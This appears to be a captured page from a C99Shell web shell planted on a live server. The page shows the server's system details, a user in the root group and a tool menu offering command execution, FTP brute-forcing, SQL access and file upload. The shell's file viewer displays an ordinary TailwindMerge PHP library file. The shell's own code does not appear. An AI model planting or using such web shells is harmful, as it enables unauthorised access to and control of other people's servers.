!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/gehrisandro/tailwind-merge-php/src/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TailwindMerge.php (3.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace TailwindMerge;

use 
Psr\SimpleCache\CacheInterface;
use 
TailwindMerge\Contracts\TailwindMergeContract;
use 
TailwindMerge\Support\Collection;
use 
TailwindMerge\Support\Config;
use 
TailwindMerge\Support\Str;
use 
TailwindMerge\Support\TailwindClassParser;
use 
TailwindMerge\ValueObjects\ParsedClass;

class 
TailwindMerge implements TailwindMergeContract
{
    public static function 
instance(): self
    
{
        return 
self::factory()
            ->
make();
    }

    
/**
     * Creates a new factory instance
     */
    
public static function factory(): Factory
    
{
        return new 
Factory();
    }

    
/**
     * @param  array<string, mixed>  $configuration
     */
    
public function __construct(
        private readonly array 
$configuration,
        private readonly ?
CacheInterface $cache null,
    ) {
    }

    
/**
     * @param  string|array<array-key, string|array<array-key, string>>  ...$args
     */
    
public function merge(...$args): string
    
{
        
$input Collection::make($args)->flatten()->join(' ');

        return 
$this->withCache($input, function (string $input): string {
            
$conflictingClassGroups = [];

            
$parser = new TailwindClassParser($this->configuration);

            return 
Str::of($input)
                ->
trim()
                ->
split('/\s+/')
                ->
map(fn (string $class): ParsedClass => $parser->parse($class)) // @phpstan-ignore-line
                
->reverse()
                ->
map(function (ParsedClass $class) use (&$conflictingClassGroups): ?string {
                    
$classId $class->modifierId.$class->classGroupId;

                    if (
array_key_exists($classId$conflictingClassGroups)) {
                        return 
null;
                    }

                    
$conflictingClassGroups[$classId] = true;

                    foreach (
$this->getConflictingClassGroupIds($class->classGroupId$class->hasPostfixModifier) as $group) {
                        
$conflictingClassGroups[$class->modifierId.$group] = true;
                    }

                    return 
$class->originalClassName;
                })
                ->
reverse()
                ->
filter()
                ->
join(' ');
        });
    }

    
/**
     * @return array<array-key, string>
     */
    
private function getConflictingClassGroupIds(string $classGroupIdbool $hasPostfixModifier): array
    {
        
$conflicts Config::getMergedConfig()['conflictingClassGroups'][$classGroupId] ?? [];

        if (
$hasPostfixModifier && isset(Config::getMergedConfig()['conflictingClassGroupModifiers'][$classGroupId])) {
            return [...
$conflicts, ...Config::getMergedConfig()['conflictingClassGroupModifiers'][$classGroupId]];
        }

        return 
$conflicts;
    }

    private function 
withCache(string $input\Closure $callback): string
    
{
        if (! 
$this->cache instanceof CacheInterface) {
            return 
$callback($input);
        }

        
$key hash('xxh3''tailwind-merge-'.$input);

        if (
$this->cache->has($key)) {
            
$cachedValue $this->cache->get($key);

            if (
is_string($cachedValue)) {
                return 
$cachedValue;
            }
        }

        
$mergedClasses $callback($input);

        
$this->cache->set($key$mergedClasses);

        return 
$mergedClasses;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--